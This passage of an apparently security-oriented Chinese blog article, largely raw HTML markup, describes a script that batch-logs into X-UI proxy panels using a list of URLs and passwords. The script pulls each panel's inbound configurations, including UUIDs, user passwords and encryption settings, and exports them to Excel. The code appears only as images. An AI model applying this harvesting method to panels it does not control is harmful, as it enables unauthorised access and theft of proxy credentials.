0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: column;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span data-cacheurl="" data-remoteid="" style="background-attachment: scroll;background-clip: border-box;background-color: transparent;background-origin: padding-box;background-position-x: 50%;background-position-y: 50%;background-repeat: no-repeat;background-size: contain;width: 40px;height: 20px;align-items: unset;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: inline-block;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/rTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9yc76dQNKRdEGMUicXvzQLlTkwRED41icY8ibh90j7ICsqRGPlO99VW8S4NQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><span style="font-size: 18px;color: rgb(0, 0, 0);text-shadow: rgb(171, 224, 225) 4px 3px 0px;line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">1、实现思路</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">接下来是编写爬虫脚本。我们已经知道了面板管理后台中支持的用户协议类型有很多，比如vmess、vless、trojan、shadowsocks等，基本类似于如下截图</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037904" class="rich_pages wxw-img" data-ratio="0.3231638418079096" data-type="png" data-w="885" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=5b697f88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9ycOFmwXIPHkJdNqHiaADYLWLPFSibRBpU5PBwLPrd4eDAURoLbRaEUM0xQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">以vless协议为例，关键参数包括协议类型、地址、端口、uuid等等。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037905" class="rich_pages wxw-img" data-ratio="0.4043280182232346" data-type="png" data-w="878" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=28d0f42b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9ycOLa98M89lplRKcBBgXnSyLBYwHZPbbrF0YzGJLJF7r4S2nxI2tUaicw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">抓包可看到获取相关协议时为json数据，相关字段在响应字段中均能找到。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037908" class="rich_pages wxw-img" data-ratio="0.46583143507972663" data-type="png" data-w="878" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=01fc2a2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9ycLtk5s1NcWqBHfibj2ia1QfjFHoD2he6gcOSLCrtLVcWKciauo0Ut4p6DA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">那么我们的大体思路可以为： 1、读取登录信息 首先读取用户提供的txt文本文件，文件中包含面板URL和对应的用户名:密码。由脚本自动读取并解析面板登录信息。 2、自动登录与数据获取 依次用每组URL和账号密码登录面板（通过POST请求/login），登录成功后再POST请求/xui/inbound/list接口，获取面板的入站配置JSON信息。 3、解析各种协议数据 针对不同协议（如vless、vmess、shadowsocks、socks等），解析JSON数据中各自的关键字段，比如邮箱、端口、传输方式、path、用户名、密码、加密方式、UUID等。 4、数据整合与导出 所有面板的数据最后统一导出为Excel（xls）文件，面板的服务器IP自动填充到每一条的对应数据，方便后续管理和区分。字段齐全，尽量做到格式美观。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: column;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span data-cacheurl="" data-remoteid="" style="background-attachment: scroll;background-clip: border-box;background-color: transparent;background-origin: padding-box;background-position-x: 50%;background-position-y: 50%;background-repeat: no-repeat;background-size: contain;width: 40px;height: 20px;align-items: unset;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: inline-block;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/rTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9yc76dQNKRdEGMUicXvzQLlTkwRED41icY8ibh90j7ICsqRGPlO99VW8S4NQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><span style="font-size: 18px;color: rgb(0, 0, 0);text-shadow: rgb(171, 224, 225) 4px 3px 0px;line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">2、实现代码</span></span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">我们可以先POST请求/login接口，提交用户名和密码，登录成功后再POST请求/xui/inbound/list接口，获取入站配置的JSON数据。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037907" class="rich_pages wxw-img" data-ratio="0.6477272727272727" data-type="png" data-w="880" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=76f78303&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9ycPkEt3KgFeyzr62UtGQORBZKYoeLRgeuLxM6AkDmIro2SMgic6wkANMw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">关于主函数的调用流程，可以循环遍历每组URL和账号密码，调用login_and_fetch_data登录并获取数据；如果登录成功，调用process_inbound_data解析数据，并将结果存到列表。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037906" class="rich_pages wxw-img" data-ratio="0.8788571428571429" data-type="png" data-w="875" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=036f625d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9ycFmzRQcj6TohhMPukmmaL4rXT2DJYLQlTLiasQiaqlMurSLYalRhvic9gA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">当然重要的是解析各种类型的协议数据，比如我们可以首先解析入站配置数据</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037913" class="rich_pages wxw-img" data-ratio="1.9404761904761905" data-type="png" data-w="420" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ea5fee99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9ycXrzO6EmTmicaOeNIiadshJFk7mkWaRJHqkprDzhzSpvvudmibG6638ytQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">第一步要遍历入站配置数据（data.get(&#39;obj&#39;, [])），提取每个入站配置的协议类型、端口、传输方式、path等基础信息；然后调用get_email_from_settings、get_user_pass_from_settings、get_vmess_uuid等函数，根据协议类型提取相应的字段。 其次就是要针对不同协议，分别提取用户名、密码和加密方式：</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037909" class="rich_pages wxw-img" data-ratio="0.3914027149321267" data-type="png" data-w="884" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=17691ec8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9yc0tRTAWb8fGvBKD6Sc3S7FgG73OfYLufgM2VyrqUb1KD7RFPicMGv1tA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">还有一些比较特殊的协议，比如提取vmess的UUID这种</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037910" class="rich_pages wxw-img" data-ratio="0.36013590033975085" data-type="png" data-w="883" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ed39fbbb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9ycu4l0WNOCYR25kAk9ZgDugsuqm88utJSIgZkicpjFEC5N5gnfFwhp6Sw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">大体上的实现思路与代码就这些，接下来让我们运行脚本查看效果。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037911" class="rich_pages wxw-img" data-ratio="1.0060975609756098" data-type="png" data-w="820" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ba732b54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9ycW3BMpzl6gj6ylRhiauRDoykOuDzVwUrTl7u7gb8DvLwLDfhzWaIslQw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">最终导出的Excel文件如下</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-imgfileid="100037912" class="rich_pages wxw-img" data-ratio="0.8495850622406639" data-type="png" data-w="964" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d60e204d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RVRicHcSMT2vVYG6qpowk9ycDUuIdgrL53XPOPcWO9avvP9OVbTrzBLKNnwvfBcTjpKbgFdJJ7uOKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">基本上看起来还算可以~</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: auto;margin-right: auto;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: linear-gradient(to left, rgb(253, 213, 231), rgb(194, 226, 249));background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;align-items: unset;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(62, 62, 62);border-bottom-color: rgb(62, 62, 62);border-left-color: rgb(62, 62, 62);border-right-color: rgb(62, 62, 62);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: table;flex-direction: unset;float: unset;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: translate3d(-5px, -5px, 0px);width: auto;-webkit-box-reflect: unset;"><span leaf="">0x05 总结</span></span><span style="display: none;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-break: break-all;"><span leaf="">整体上脚本通过“读取文件 → 登录面板 → 解析数据 → 整合导出”的流程，实现了批量自动抓取XUI面板数据并导出为Excel的功能，方便我们对其中数据的利用。后期如果扩展支持更多协议或字段，那么在解析部分增加对应的提取逻辑就行了。</span></p></div></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 15px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 2px;max-width: 100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 24px;padding-left: 24px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: 